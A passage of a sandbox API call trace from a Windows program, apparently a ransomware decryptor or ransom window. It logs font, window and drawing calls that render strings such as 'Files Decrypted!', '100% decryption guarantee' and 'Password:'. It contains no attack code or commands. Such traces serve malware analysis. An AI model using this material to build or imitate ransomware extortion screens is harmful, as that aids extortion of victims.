dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e3b8) returned 1 [0177.265] GdipCreateFontFamilyFromName (name="Palatino Linotype", fontCollection=0x0, fontFamily=0x19e448) returned 0x0 [0177.265] GdipCreateFont (fontFamily=0x57faee0, emSize=0x41ae0000, style=1, unit=0x3, font=0x2f0158c) returned 0x0 [0177.265] GdipGetFontSize (font=0x691cba8, size=0x2f01590) returned 0x0 [0177.265] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0177.265] AdjustWindowRectEx (in: lpRect=0x19e3b8, dwStyle=0x5680000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e3b8) returned 1 [0177.266] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0177.266] AdjustWindowRectEx (in: lpRect=0x19e3b8, dwStyle=0x5680000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e3b8) returned 1 [0177.266] IsAppThemed () returned 0x1 [0177.266] GetThemeAppProperties () returned 0x3 [0177.266] GetThemeAppProperties () returned 0x3 [0177.266] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0177.293] AdjustWindowRectEx (in: lpRect=0x19e3b8, dwStyle=0x560100c0, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e3b8) returned 1 [0177.294] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0177.294] AdjustWindowRectEx (in: lpRect=0x19e3b8, dwStyle=0x560100c0, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e3b8) returned 1 [0177.294] GdipCreateFontFamilyFromName (name="Palatino Linotype", fontCollection=0x0, fontFamily=0x19e448) returned 0x0 [0177.294] GdipCreateFont (fontFamily=0x57faee0, emSize=0x42100000, style=3, unit=0x3, font=0x2f01afc) returned 0x0 [0177.294] GdipGetFontSize (font=0x691c810, size=0x2f01b00) returned 0x0 [0177.294] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0177.295] AdjustWindowRectEx (in: lpRect=0x19e3b8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e3b8) returned 1 [0177.295] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0177.295] AdjustWindowRectEx (in: lpRect=0x19e3b8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e3b8) returned 1 [0177.295] GdipCreateFontFamilyFromName (name="Palatino Linotype", fontCollection=0x0, fontFamily=0x19e448) returned 0x0 [0177.295] GdipCreateFont (fontFamily=0x57faee0, emSize=0x417c0000, style=1, unit=0x3, font=0x2f01dcc) returned 0x0 [0177.295] GdipGetFontSize (font=0x691c680, size=0x2f01dd0) returned 0x0 [0177.295] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0177.296] AdjustWindowRectEx (in: lpRect=0x19e3e4, dwStyle=0x5e01000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e3e4) returned 1 [0177.296] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0177.296] AdjustWindowRectEx (in: lpRect=0x19e3e4, dwStyle=0x5e01000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e3e4) returned 1 [0177.366] GdipLoadImageFromStream (stream=0x2a2fe50, image=0x19de80) returned 0x0 [0177.366] GdipImageForceValidation (image=0x6926780) returned 0x0 [0177.367] GdipGetImageType (image=0x6926780, type=0x19de7c) returned 0x0 [0177.367] GdipGetImageRawFormat (image=0x6926780, format=0x19ddf0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0))) returned 0x0 [0177.367] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0177.367] AdjustWindowRectEx (in: lpRect=0x19e3e4, dwStyle=0x56000000, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e3e4) returned 1 [0177.368] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0177.368] AdjustWindowRectEx (in: lpRect=0x19e3e4, dwStyle=0x56000000, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e3e4) returned 1 [0177.368] GdipCreateFontFamilyFromName (name="Palatino Linotype", fontCollection=0x0, fontFamily=0x19e448) returned 0x0 [0177.368] GdipCreateFont (fontFamily=0x57faee0, emSize=0x41900000, style=1, unit=0x3, font=0x2f084d0) returned 0x0 [0177.368] GdipGetFontSize (font=0x691c900, size=0x2f084d4) returned 0x0 [0177.368] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0177.368] AdjustWindowRectEx (in: lpRect=0x19e3b8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e3b8) returned 1 [0177.369] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0177.369] AdjustWindowRectEx (in: lpRect=0x19e3b8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e3b8) returned 1 [0177.369] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0177.369] AdjustWindowRectEx (in: lpRect=0x19e418, dwStyle=0x2cf0000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x19e418) returned 1 [0177.369] GetSystemMetrics (nIndex=59) returned 1460 [0177.369] GetSystemMetrics (nIndex=60) returned 920 [0177.369] GetSystemMetrics (nIndex=34) returned 136 [0177.369] GetSystemMetrics (nIndex=35) returned 39 [0177.369] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0177.370] AdjustWindowRectEx (in: lpRect=0x19e318, dwStyle=0x2cf0000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x19e318) returned 1 [0177.370] GetCurrentThreadId () returned 0x390 [0177.370] GetCurrentThreadId () returned 0x390 [0177.370] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0177.370] AdjustWindowRectEx (in: lpRect=0x19e214, dwStyle=0x4600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e214) returned 1 [0177.370] SelectObject (hdc=0x8e0106dd, h=0x210a0725) returned 0x110a0722 [0177.370] DrawTextExW (in: hdc=0x8e0106dd, lpchText="Files Decrypted!", cchText=16, lprc=0x19e200, format=0x2400, lpdtp=0x2f08814 | out: lpchText="Files Decrypted!", lprc=0x19e200) returned 39 [0177.370] GetCurrentThreadId () returned 0x390 [0177.370] GetCurrentThreadId () returned 0x390 [0177.371] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0177.371] AdjustWindowRectEx (in: lpRect=0x19e214, dwStyle=0x4680000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e214) returned 1 [0177.371] DrawTextExW (in: hdc=0x8e0106dd, lpchText="No files decrypted!", cchText=19, lprc=0x19e200, format=0x2400, lpdtp=0x2f08954 | out: lpchText="No files decrypted!", lprc=0x19e200) returned 39 [0177.371] GetCurrentThreadId () returned 0x390 [0177.371] GetCurrentThreadId () returned 0x390 [0177.371] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0177.371] AdjustWindowRectEx (in: lpRect=0x19e214, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e214) returned 1 [0177.371] GdipGetFamilyName (in: family=0x57faee0, name=0x19e100, language=0x409 | out: name="Palatino Linotype") returned 0x0 [0177.371] GetDeviceCaps (hdc=0x8e0106dd, index=90) returned 96 [0177.371] CoTaskMemAlloc (cb=0x5c) returned 0xeeb228 [0177.372] CreateFontIndirectW (lplf=0xeeb228) returned 0x1b0a075e [0177.372] CoTaskMemFree (pv=0xeeb228) [0177.372] GetObjectW (in: h=0x1b0a075e, c=92, pv=0x19e0c4 | out: pv=0x19e0c4) returned 92 [0177.372] DeleteObject (ho=0x240a0712) returned 1 [0177.372] SelectObject (hdc=0x8e0106dd, h=0x1b0a075e) returned 0x210a0725 [0177.372] GetMapMode (hdc=0x8e0106dd) returned 1 [0177.372] GetTextMetricsW (in: hdc=0x8e0106dd, lptm=0x19e0f4 | out: lptm=0x19e0f4) returned 1 [0177.372] DrawTextExW (in: hdc=0x8e0106dd, lpchText="100% decryption guarantee", cchText=25, lprc=0x19e200, format=0x2400, lpdtp=0x2f08c54 | out: lpchText="100% decryption guarantee", lprc=0x19e200) returned 32 [0177.373] GetCurrentThreadId () returned 0x390 [0177.373] GetCurrentThreadId () returned 0x390 [0177.373] GetCurrentThreadId () returned 0x390 [0177.373] GetCurrentThreadId () returned 0x390 [0177.373] GetCurrentThreadId () returned 0x390 [0177.373] GetCurrentThreadId () returned 0x390 [0177.374] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0177.374] AdjustWindowRectEx (in: lpRect=0x19e214, dwStyle=0x4600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e214) returned 1 [0177.374] GdipGetFamilyName (in: family=0x57f8ad8, name=0x19e100, language=0x409 | out: name="Microsoft Sans Serif") returned 0x0 [0177.374] GetDeviceCaps (hdc=0x8e0106dd, index=90) returned 96 [0177.374] CoTaskMemAlloc (cb=0x5c) returned 0xeead48 [0177.374] CreateFontIndirectW (lplf=0xeead48) returned 0x250a0712 [0177.374] CoTaskMemFree (pv=0xeead48) [0177.374] GetObjectW (in: h=0x250a0712, c=92, pv=0x19e0c4 | out: pv=0x19e0c4) returned 92 [0177.374] DeleteObject (ho=0xc0a0739) returned 1 [0177.374] SelectObject (hdc=0x8e0106dd, h=0x250a0712) returned 0x1b0a075e [0177.374] GetMapMode (hdc=0x8e0106dd) returned 1 [0177.374] GetTextMetricsW (in: hdc=0x8e0106dd, lptm=0x19e0f4 | out: lptm=0x19e0f4) returned 1 [0177.374] DrawTextExW (in: hdc=0x8e0106dd, lpchText="Processing...", cchText=13, lprc=0x19e200, format=0x2405, lpdtp=0x2f090d8 | out: lpchText="Processing...", lprc=0x19e200) returned 24 [0177.375] GetCurrentThreadId () returned 0x390 [0177.375] GetCurrentThreadId () returned 0x390 [0177.375] GetCurrentThreadId () returned 0x390 [0177.375] GetCurrentThreadId () returned 0x390 [0177.376] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0177.377] AdjustWindowRectEx (in: lpRect=0x19e214, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e214) returned 1 [0177.377] GdipGetFamilyName (in: family=0x57faee0, name=0x19e100, language=0x409 | out: name="Palatino Linotype") returned 0x0 [0177.377] GetDeviceCaps (hdc=0x8e0106dd, index=90) returned 96 [0177.377] CoTaskMemAlloc (cb=0x5c) returned 0xeead48 [0177.377] CreateFontIndirectW (lplf=0xeead48) returned 0xd0a0739 [0177.377] CoTaskMemFree (pv=0xeead48) [0177.377] GetObjectW (in: h=0xd0a0739, c=92, pv=0x19e0c4 | out: pv=0x19e0c4) returned 92 [0177.377] DeleteObject (ho=0x450a062b) returned 1 [0177.377] SelectObject (hdc=0x8e0106dd, h=0xd0a0739) returned 0x250a0712 [0177.377] GetMapMode (hdc=0x8e0106dd) returned 1 [0177.377] GetTextMetricsW (in: hdc=0x8e0106dd, lptm=0x19e0f4 | out: lptm=0x19e0f4) returned 1 [0177.377] DrawTextExW (in: hdc=0x8e0106dd, lpchText="Password:", cchText=9, lprc=0x19e200, format=0x2400, lpdtp=0x2f094b4 | out: lpchText="Password:", lprc=0x19e200) returned 63 [0177.378] GetCurrentThreadId () returned 0x390 [0177.378] GetCurrentThreadId () returned 0x390 [0177.378] GdipCreateFontFamilyFromName (name="Palatino Linotype", fontCollection=0x0, fontFamily=0x19e448) returned 0x0 [0177.378] GdipCreateFont (fontFamily=0x57faee0, emSize=0x411c0000, style=1, unit=0x3, font=0x2f09788) returned 0x0 [0177.378] GdipGetFontSize (font=0x691c4f0, size=0x2f0978c) returned 0x0 [0177.378] CreateCompatibleDC (hdc=0x0) returned 0x4601062b [0177.379] GetDC (hWnd=0x0) returned 0x1e0106e1 [0177.379] GdipCreateFromHDC (hdc=0x1e0106e1, graphics=0x19e22c) returned 0x0 [0177.379] CoTaskMemAlloc (cb=0x5c) returned 0xeeaba8 [0177.379] GdipGetLogFontW (font=0x691c4f0, graphics=0x69202b0, logfontW=0xeeaba8) returned 0x0 [0177.379] CoTaskMemFree (pv=0xeeaba8) [0177.379] CoTaskMemAlloc (cb=0x5c) returned 0xeeb228 [0177.379] CoTaskMemFree (pv=0xeeb228) [0177.379] CoTaskMemAlloc (cb=0x5c) returned 0xeeb228 [0177.379] CoTaskMemFree (pv=0xeeb228) [0177.379] GdipDeleteGraphics (graphics=0x69202b0) returned 0x0 [0177.380] ReleaseDC (hWnd=0x0, hDC=0x1e0106e1) returned 1 [0177.380] CoTaskMemAlloc (cb=0x5c) returned 0xeeaba8 [0177.380] CreateFontIndirectW (lplf=0xeeaba8) returned 0x120a076d [0177.380] CoTaskMemFree (pv=0xeeaba8) [0177.380] SelectObject (hdc=0x4601062b, h=0x120a076d) returned 0x8a01c2 [0177.380] GetTextMetricsW (in: hdc=0x4601062b, lptm=0x19e328 | out: lptm=0x19e328) returned 1 [0177.380] GetTextExtentPoint32W (in: hdc=0x4601062b, lpString="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", c=52, psizl=0x2f09cd4 | out: psizl=0x2f09cd4) returned 1 [0177.381] SelectObject (hdc=0x4601062b, h=0x8a01c2) returned 0x120a076d [0177.381] DeleteDC (hdc=0x4601062b) returned 1 [0177.381] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0177.381] AdjustWindowRectEx (in: lpRect=0x19e2b8, dwStyle=0x4600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e2b8) returned 1 [0177.381] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0177.381] AdjustWindowRectEx (in: lpRect=0x19e11c, dwStyle=0x4600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e11c) returned 1 [0177.382] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0177.382] AdjustWindowRectEx (in: lpRect=0x19df74, dwStyle=0x4600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19df74) returned 1 [0177.382] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0177.382] AdjustWindowRectEx (in: lpRect=0x19e2b8, dwStyle=0x4680000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e2b8) returned 1 [0177.382] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0177.382] AdjustWindowRectEx (in: lpRect=0x19e11c, dwStyle=0x4680000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e11c) returned 1 [0177.383] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0177.383] AdjustWindowRectEx (in: lpRect=0x19df74, dwStyle=0x4680000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19df74) returned 1 [0177.383] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0177.383] AdjustWindowRectEx (in: lpRect=0x19e2b8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e2b8) returned 1 [0177.383] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0177.383] AdjustWindowRectEx (in: lpRect=0x19e11c, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e11c) returned 1 [0177.384] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0177.384] AdjustWindowRectEx (in: lpRect=0x19df74, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19df74) returned 1 [0177.384] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0177.384] AdjustWindowRectEx (in: lpRect=0x19e2b8, dwStyle=0x56000000, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e2b8) returned 1 [0177.384] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0177.385] AdjustWindowRectEx (in: lpRect=0x19e11c, dwStyle=0x56000000, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e11c) returned 1 [0177.385] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0177.385] AdjustWindowRectEx (in: lpRect=0x19e288, dwStyle=0x56000000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x19e288) returned 1 [0177.385] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0177.385] AdjustWindowRectEx (in: lpRect=0x19e0ec, dwStyle=0x56000000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x19e0ec) returned 1 [0177.385] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0177.386] AdjustWindowRectEx (in: lpRect=0x19e2b8, dwStyle=0x4600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e2b8) returned 1 [0177.386] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0177.386] AdjustWindowRectEx (in: lpRect=0x19e11c, dwStyle=0x4600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e11c) returned 1 [0177.386] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0177.386] AdjustWindowRectEx (in: lpRect=0x19df74, dwStyle=0x4600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19df74) returned 1 [0177.386] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0177.387] AdjustWindowRectEx (in: lpRect=0x19e2b8, dwStyle=0x560100c1, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e2b8) returned 1 [0177.387] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0177.387] AdjustWindowRectEx (in: lpRect=0x19e11c, dwStyle=0x560100c1, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e11c) returned 1 [0177.387] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0177.387] AdjustWindowRectEx (in: lpRect=0x19e2b8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e2b8) returned 1 [0177.388] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0177.388] AdjustWindowRectEx (in: lpRect=0x19e11c, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e11c) returned 1 [0177.388] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0177.388] AdjustWindowRectEx (in: lpRect=0x19df74, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19df74) returned 1 [0177.388] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0177.388] AdjustWindowRectEx (in: lpRect=0x19e2b8, dwStyle=0x5e01000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e2b8) returned 1 [0177.389] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0177.389] AdjustWindowRectEx (in: lpRect=0x19e11c, dwStyle=0x5e01000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e11c) returned 1 [0177.389] DeleteObject (ho=0x120a076d) returned 1 [0177.389] GetDC (hWnd=0x0) returned 0x1e0106e1 [0177.389] GdipCreateFromHDC (hdc=0x1e0106e1, graphics=0x19e2e0) returned 0x0 [0177.389] GdipGetFontHeight (font=0x691c4f0, graphics=0x69202b0, height=0x19e2d8) returned 0x0 [0177.389] GdipDeleteGraphics (graphics=0x69202b0) returned 0x0 [0177.389] ReleaseDC (hWnd=0x0, hDC=0x1e0106e1) returned 1 [0177.390] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0177.390] AdjustWindowRectEx (in: lpRect=0x19e2c0, dwStyle=0x560100c1, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e2c0) returned 1 [0177.390] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0177.390] AdjustWindowRectEx (in: lpRect=0x19e330, dwStyle=0x2010000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x19e330) returned 1 [0177.390] AdjustWindowRectEx (in: lpRect=0x19e3fc, dwStyle=0x2010000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x19e3fc) returned 1 [0177.390] GetSystemMetrics (nIndex=59) returned 1460 [0177.390] GetSystemMetrics (nIndex=60) returned 920 [0177.391] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0177.391] AdjustWindowRectEx (in: lpRect=0x19e234, dwStyle=0x2010000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x19e234) returned 1 [0177.391] AdjustWindowRectEx (in: lpRect=0x19e2fc, dwStyle=0x2010000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x19e2fc) returned 1 [0177.391] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0177.391] AdjustWindowRectEx (in: lpRect=0x19e0b8, dwStyle=0x2010000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x19e0b8) returned 1 [0177.391] AdjustWindowRectEx (in: lpRect=0x19e2dc, dwStyle=0x2010000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x19e2dc) returned 1 [0177.391] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0177.391] AdjustWindowRectEx (in: lpRect=0x19e030, dwStyle=0x2010000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x19e030) returned 1 [0177.391] AdjustWindowRectEx (in: lpRect=0x19e114, dwStyle=0x2010000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x19e114) returned 1 [0177.392] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0177.392] AdjustWindowRectEx (in: lpRect=0x19e2d4, dwStyle=0x560100c1, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e2d4) returned 1 [0177.392] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0177.392] AdjustWindowRectEx (in: lpRect=0x19e138, dwStyle=0x560100c1, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e138) returned 1 [0177.392] GetFocus () returned 0x30212 [0177.392] IsChild (hWndParent=0x10248, hWnd=0x30212) returned 0 [0177.392] SetWindowPos (hWnd=0x10248, hWndInsertAfter=0x0, X=0, Y=0, cx=0, cy=0, uFlags=0x97) returned 1 [0177.392] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10248, Msg=0x46, wParam=0x0, lParam=0x19e8b4) returned 0x0 [0177.393] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x90016, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x1 [0177.393] SetTextColor (hdc=0x10105d6, color=0x0) returned 0x0 [0177.393] SetBkColor (hdc=0x10105d6, color=0xffffff) returned 0xffffff [0177.393] GetClientRect (in: hWnd=0x8004e, lpRect=0x19df84 | out: lpRect=0x19df84) returned 1 [0177.394] GetWindowTextLengthW (hWnd=0x8004e) returned 0 [0177.394] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0177.394] GetSystemMetrics (nIndex=42) returned 0 [0177.394] GetWindowTextW (in: hWnd=0x8004e, lpString=0x19de64, nMaxCount=1 | out: lpString="") returned 0 [0177.394] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xd, wParam=0x1, lParam=0x19de64) returned 0x0 [0177.394] GetClientRect (in: hWnd=0x8004e, lpRect=0x19de8c | out: lpRect=0x19de8c) returned 1 [0177.394] GetCurrentObject (hdc=0x10105d6, type=0x1) returned 0xb00017 [0177.394] GetCurrentObject (hdc=0x10105d6, type=0x2) returned 0x900010 [0177.394] GetCurrentObject (hdc=0x10105d6, type=0x7) returned 0x400506ef [0177.394] GetCurrentObject (hdc=0x10105d6, type=0x6) returned 0x8a01c2 [0177.394] SaveDC (hdc=0x10105d6) returned 1 [0177.394] GetNearestColor (hdc=0x10105d6, color=0x323533) returned 0x323533 [0177.394] CreateSolidBrush (color=0x323533) returned 0x8010073a [0177.394] FillRect (hDC=0x10105d6, lprc=0x19dd2c, hbr=0x8010073a) returned 1 [0177.394] DeleteObject (ho=0x8010073a) returned 1 [0177.395] RestoreDC (hdc=0x10105d6, nSavedDC=-1) returned 1 [0177.395] GetWindowTextLengthW (hWnd=0x8004e) returned 0 [0177.395] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0177.395] GetSystemMetrics (nIndex=42) returned 0 [0177.395] GetWindowTextW (in: hWnd=0x8004e, lpString=0x19de04, nMaxCount=1 | out: lpString="") returned 0 [0177.395] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xd, wParam=0x1, lParam=0x19de04) returned 0x0 [0177.395] GetClientRect (in: hWnd=0x8004e, lpRect=0x19de2c | out: lpRect=0x19de2c) returned 1 [0177.395] GetCurrentObject (hdc=0x10105d6, type=0x1) returned 0xb00017 [0177.395] GetCurrentObject (hdc=0x10105d6, type=0x2) returned 0x900010 [0177.395] GetCurrentObject (hdc=0x10105d6, type=0x7) returned 0x400506ef [0177.395] GetCurrentObject (hdc=0x10105d6, type=0x6) returned 0x8a01c2 [0177.395] SaveDC (hdc=0x10105d6) returned 1 [0177.395] GetNearestColor (hdc=0x10105d6, color=0x323533) returned 0x323533 [0177.395] CreateSolidBrush (color=0x323533) returned 0x8110073a [0177.395] FillRect (hDC=0x10105d6, lprc=0x19dccc, hbr=0x8110073a) returned 1 [0177.395] DeleteObject (ho=0x8110073a) returned 1 [0177.395] RestoreDC (hdc=0x10105d6, nSavedDC=-1) returned 1 [0177.395] GetWindowTextLengthW (hWnd=0x8004e) returned 0 [0177.396] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0177.396] GetSystemMetrics (nIndex=42) returned 0 [0177.396] GetWindowTextW (in: hWnd=0x8004e, lpString=0x19de04, nMaxCount=1 | out: lpString="") returned 0 [0177.396] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xd, wParam=0x1, lParam=0x19de04) returned 0x0 [0177.398] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x90016, Msg=0x14, wParam=0x1e0106e1, lParam=0x0) returned 0x1 [0177.398] SetTextColor (hdc=0x1e0106e1, color=0x0) returned 0x0 [0177.398] SetBkColor (hdc=0x1e0106e1, color=0xffffff) returned 0xffffff [0177.398] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10248, Msg=0x47, wParam=0x0, lParam=0x19e8b4) returned 0x0 [0177.398] GetClientRect (in: hWnd=0x10248, lpRect=0x19e5a4 | out: lpRect=0x19e5a4) returned 1 [0177.398] GetWindowRect (in: hWnd=0x10248, lpRect=0x19e5a4 | out: lpRect=0x19e5a4) returned 1 [0177.398] GetParent (hWnd=0x10248) returned 0x8004e [0177.398] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x8004e, lpPoints=0x19e5a4, cPoints=0x2 | out: lpPoints=0x19e5a4) returned -16187697 [0177.398] GetParent (hWnd=0x10248) returned 0x8004e [0177.399] GetWindowTextLengthW (hWnd=0x8004e) returned 0 [0177.399] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0177.399] GetSystemMetrics (nIndex=42) returned 0 [0177.399] GetWindowTextW (in: hWnd=0x8004e, lpString=0x19e808, nMaxCount=1 | out: lpString="") returned 0 [0177.399] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xd, wParam=0x1, lParam=0x19e808) returned 0x0 [0177.399] GetWindowTextLengthW (hWnd=0x30212) returned 15 [0177.399] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0xe, wParam=0x0, lParam=0x0) returned 0xf [0177.399] GetSystemMetrics (nIndex=42) returned 0 [0177.399] GetWindowTextW (in: hWnd=0x30212, lpString=0x19e8f8, nMaxCount=16 | out: lpString="Close Decryptor") returned 15 [0177.399] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0xd, wParam=0x10, lParam=0x19e8f8) returned 0xf [0177.399] SetWindowTextW (hWnd=0x30212, lpString="Open Decryptor") returned 1 [0177.399] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0xc, wParam=0x0, lParam=0x2f0abf4) returned 0x1 [0177.399] GetStockObject (i=5) returned 0x900015 [0177.399] GetStockObject (i=5) returned 0x900015 [0177.399] GetDlgItem (hDlg=0x8004e, nIDDlgItem=197138) returned 0x30212 [0177.399] SendMessageW (hWnd=0x30212, Msg=0x202b, wParam=0x30212, lParam=0x19e324) returned 0x0 [0177.399] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0x202b, wParam=0x30212, lParam=0x19e324) returned 0x0 [0177.400] InvalidateRect (hWnd=0x30212, lpRect=0x0, bErase=0) returned 1 [0177.400] GetCapture () returned 0x30212 [0177.400] ReleaseCapture () returned 1 [0177.400] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0x215, wParam=0x0, lParam=0x0) returned 0x0 [0177.400] PeekMessageW (in: 